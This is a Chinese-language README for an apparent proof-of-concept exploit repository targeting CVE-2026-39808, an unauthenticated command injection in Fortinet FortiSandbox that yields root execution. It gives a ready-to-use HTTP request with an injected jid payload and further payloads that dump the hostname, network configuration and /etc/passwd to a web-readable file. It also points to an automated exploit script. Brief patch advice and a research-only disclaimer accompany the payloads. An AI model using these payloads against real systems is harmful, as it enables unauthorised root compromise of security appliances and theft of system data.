本仓库包含针对 CVE-2026-39808 的清晰且文档完善的 Proof of Concept(概念验证)——这是 Fortinet FortiSandbox 中一个严重的未认证命令注入漏洞,可实现沙箱逃逸,并以 root(uid=0)权限远程执行代码。
jid 参数实现路径遍历 + 命令注入
成功利用,显示 uid=0 gid=0 groups=0
| 版本范围 | 状态 |
|---|---|
| FortiSandbox 4.4.0 – 4.4.8 | 存在漏洞 |
| FortiSandbox 5.0.0 – 5.0.5 | 存在漏洞 |
| 4.4.9+ / 5.0.6+ | 已修复 |
GET /fortisandbox/job-detail/tracer-behavior?jid=%7C(id%3E/web/ng/out.txt)%7C HTTP/1.1
Host: your-lab-ip
在浏览器中打开:
https://your-lab-ip/ng/out.txt
# Get IP address + hostname
jid=|(hostname; ip -4 addr show > /web/ng/out.txt)|
# Full system reconnaissance
jid=|(whoami; id; hostname; ip addr; cat /etc/passwd > /web/ng/out.txt)|
poc.py → 自动化 Python 利用脚本burp-request.txt → 可直接使用的 Burp Suite 请求payloads.md → 常用 payload 集合screenshots/ → 分步利用过程截图README.md → 本文件请立即将 FortiSandbox 更新至以下版本之一:
Fortinet 已发布针对此漏洞的官方补丁。
仅供研究与学习目的
⭐ 如果此仓库对你有帮助,请为它点个 Star!